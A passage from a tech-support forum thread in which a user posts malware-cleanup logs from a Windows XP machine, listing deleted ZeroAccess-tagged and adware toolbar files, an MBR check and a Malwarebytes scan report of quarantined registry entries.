    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978601$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978601$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978601$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978601$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978601$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978601$\wintrust.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978695_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978695_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978695_WM9$\wmvcore.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978706$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978706$\mspaint.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978706$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978706$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978706$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB978706$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB978706$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979306$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979306$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979306$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979309$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979309$\cabview.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979309$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979309$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979309$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979309$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979309$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979332_WM9L$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979332_WM9L$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979332_WM9L$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979332_WM9L$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979332_WM9L$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979332_WM9L$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979332_WM9L$\wmenceng.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979482$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979482$\asycfilt.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979482$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979482$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979482$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979482$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979482$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979559$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979559$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979559$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979559$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979559$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979559$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979559$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979683$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979683$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979683$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979687$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\ole32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB979687$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB979687$\wordpad.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980182$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\browseui.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00002 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00003 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00004 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00005 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00006 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00007 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00008 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00009 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00010 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00011 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00012 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00013 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00014 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00015 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00016 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00017 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00018 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00019 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00020 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00021 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00022 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00023 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\reg00024 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\shdocvw.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980182$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980182$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980195$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980195$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980195$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980195$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980195$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980195$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980195$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980218$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980218$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980218$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980218$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980218$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980218$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980218$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980232$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980232$\mrxsmb.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980232$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980232$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980232$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980232$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980232$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980436$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980436$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980436$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980436$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980436$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB980436$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB980436$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981322$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981322$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981322$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981322$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981322$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981322$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981322$\usp10.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981793$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981793$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981793$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981852$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981852$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981852$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981957$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981957$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981957$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981957$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981957$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981957$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981957$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981997$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981997$\moviemk.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981997$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981997$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981997$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB981997$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB981997$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982132$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982132$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982132$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982132$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982132$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982132$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982132$\t2embed.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982214$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982214$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982214$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982214$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982214$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982214$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982214$\srv.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982665$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982665$\iccvid.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982665$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982665$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982665$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982665$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982665$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982802$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\rpcrt4.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB982802$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB982802$\xpsp4res.dll -> Deleted

    [PUP][Folder] C:\Documents and Settings\All Users\Application Data\{42793930-2684-4C15-9B87-9CEF8846A875} -> Deleted

    [PUP][File] C:\Documents and Settings\All Users\Application Data\{42793930-2684-4C15-9B87-9CEF8846A875}\a7ed1f2f658 -> Deleted

    [PUP][Folder] C:\Documents and Settings\All Users\Application Data\{429CAD59-35B1-4DBC-BB6D-1DB246563521} -> Deleted

    [PUP][File] C:\Documents and Settings\All Users\Application Data\{429CAD59-35B1-4DBC-BB6D-1DB246563521}\x86\DIFxInstallLog.txt -> Deleted

    [PUP][Folder] C:\Documents and Settings\All Users\Application Data\{429CAD59-35B1-4DBC-BB6D-1DB246563521}\x86 -> Deleted

    [PUP][Folder] C:\Program Files\Conduit -> Deleted

    [PUP][File] C:\Program Files\Conduit\Community Alerts\Alert.dll -> Deleted

    [PUP][File] C:\Program Files\Conduit\Community Alerts\Alert0.dll -> Deleted

    [PUP][File] C:\Program Files\Conduit\Community Alerts\Alert1.dll -> Deleted

    [PUP][Folder] C:\Program Files\Conduit\Community Alerts -> Deleted

    [PUP][Folder] C:\Program Files\Coupons -> Deleted

    [PUP][File] C:\Program Files\Coupons\Coupons.ico -> Deleted

    [PUP][File] C:\Program Files\Coupons\CouponsDotCom.url -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG1.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG2.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG3.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG4.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG5.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG6.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG7.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\IRIMG8.JPG -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\uninstall.dat -> Deleted

    [PUP][File] C:\Program Files\Coupons\Uninstall\uninstall.xml -> Deleted

    [PUP][Folder] C:\Program Files\Coupons\Uninstall -> Deleted

    [PUP][File] C:\Program Files\Coupons\uninstall.exe -> Deleted

    [PUP][Folder] C:\Program Files\Zynga -> Deleted

    [PUP][File] C:\Program Files\Zynga\hk64tbZyn0.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\hk64tbZyn2.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\hktbZyn0.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\hktbZyn2.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\INSTALL.LOG -> Deleted

    [PUP][File] C:\Program Files\Zynga\ldrtbZyn0.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\ldrtbZyn2.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\prxtbZyn0.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\prxtbZyn2.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\tbZyn0.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\tbZyn1.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\tbZyn2.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\tbZyng.dll -> Deleted

    [PUP][File] C:\Program Files\Zynga\toolbar.cfg -> Deleted

    [PUP][File] C:\Program Files\Zynga\uninstall.exe -> Deleted

    [PUP][File] C:\Program Files\Zynga\UNWISE.EXE -> Deleted

    [PUP][File] C:\Program Files\Zynga\ZyngaToolbarHelper.exe -> Deleted

    [PUP][File] C:\Program Files\Zynga\ZyngaToolbarHelper1.exe -> Deleted


    ¤¤¤ Hosts File : 1 ¤¤¤

    [C:\WINDOWS\system32\drivers\etc\hosts] 127.0.0.1 localhost


    ¤¤¤ Antirootkit : 0 (Driver: Loaded) ¤¤¤


    ¤¤¤ Web browsers : 1 ¤¤¤

    [PUM.HomePage][FIREFX:Config] 59nmg3h4.default : user_pref("browser.startup.homepage", "https://www.lds.org/"); -> Not selected


    ¤¤¤ MBR Check : ¤¤¤

    +++++ PhysicalDrive0: ST3250318AS +++++

    --- User ---

    [MBR] e59fdee0476d76c14bda633064a2d790

    [BSP] d70be290b98a79d156a2df3543938e3d : Windows XP MBR Code

    Partition table:

    0 - [XXXXXX] DELL-UTIL (0xde) [VISIBLE] Offset (sectors): 63 | Size: 39 MB

    1 - [ACTIVE] NTFS (0x7) [VISIBLE] Offset (sectors): 81920 | Size: 238377 MB [Windows XP Bootstrap | Windows XP Bootloader]

    User = LL1 ... OK

    User = LL2 ... OK


    +++++ PhysicalDrive1: WDC WD1001FALS-00E3A0 +++++

    --- User ---

    [MBR] f93e2a5c7884b4f3c82761d96067854f

    [BSP] aa62dcdca930af7e1b29eb679438abbe : Windows XP|VT.Unknown MBR Code

    Partition table:

    0 - [XXXXXX] NTFS (0x7) [VISIBLE] Offset (sectors): 63 | Size: 953867 MB [Windows XP Bootstrap | Windows XP Bootloader]

    User = LL1 ... OK

    User = LL2 ... OK
     
  10. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Malwarebytes Anti-Malware
    www.malwarebytes.org

    Scan Date: 11/16/2015
    Scan Time: 9:05:05 PM
    Logfile: mbamreport.txt
    Administrator: Yes

    Version: 2.2.0.1024
    Malware Database: v2015.11.16.07
    Rootkit Database: v2015.11.14.01
    License: Free
    Malware Protection: Disabled
    Malicious Website Protection: Disabled
    Self-protection: Disabled

    OS: Windows XP Service Pack 3
    CPU: x86
    File System: NTFS
    User: Geny

    Scan Type: Threat Scan
    Result: Completed
    Objects Scanned: 413444
    Time Elapsed: 1 hr, 26 min, 59 sec

    Memory: Enabled
    Startup: Enabled
    Filesystem: Enabled
    Archives: Enabled
    Rootkits: Disabled
    Heuristics: Enabled
    PUP: Enabled
    PUM: Enabled

    Processes: 0
    (No malicious items detected)

    Modules: 0
    (No malicious items detected)

    Registry Keys: 4
    PUP.Optional.ConduitTB.Gen, HKLM\SOFTWARE\CLASSES\Toolbar.CT2438727, Quarantined, [793e1a641f6c37ff20a46fe8de256c94],
    PUP.Optional.ConduitTB.Gen, HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\{25733453-6324-45F1-A382-27AE6759EDDC}, Quarantined, [783fbbc3e6a56fc70c8f244550b302fe],
    PUP.Optional.SmartBar, HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\SMARTBAR, Quarantined, [a0172955dbb0eb4b65a61b782dd62cd4],
    PUP.Optional.ConduitTB.Gen, HKU\S-1-5-21-1454471165-790525478-1801674531-1003\TOOLBAR\REGISTEREDSOURCES, Quarantined, [ab0cc3bb90fb4bebdcd27ed9bf448779],

    Registry Values: 3
    PUP.Optional.ConduitTB.Gen, HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\{25733453-6324-45F1-A382-27AE6759EDDC}|AppPath, C:\Documents and Settings\Geny\Local Settings\Application Data\Conduit\CT2438727, Quarantined, [783fbbc3e6a56fc70c8f244550b302fe]
    PUP.Optional.SmartBar, HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\SMARTBAR|GlobalUserId, 8EFED5F4-FE9D-4FF9-8AF6-558AFCEF000C, Quarantined, [a0172955dbb0eb4b65a61b782dd62cd4]
    PUP.Optional.ConduitTB.Gen, HKU\S-1-5-21-1454471165-790525478-1801674531-1003\TOOLBAR\REGISTEREDSOURCES|CT2438727, 0, Quarantined, [ab0cc3bb90fb4bebdcd27ed9bf448779]

    Registry Data: 4
    PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|AntiVirusDisableNotify, 1, Good: (0), Bad: (1),Replaced,[f2c5a6d89cef40f6f57987d1ff0514ec]
    PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|FirewallDisableNotify, 1, Good: (0), Bad: (1),Replaced,[eccbb8c6107b79bda4cbcd8b659fdb25]
    PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|UpdatesDisableNotify, 1, Good: (0), Bad: (1),Replaced,[397ed1add8b30d2984ec00583ec6db25]
    PUM.Optional.DisableShowHelp, HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED|Start_ShowHelp, 0, Good: (1), Bad: (0),Replaced,[a215582609820d29e4a04315f014a45c]

    Folders: 128
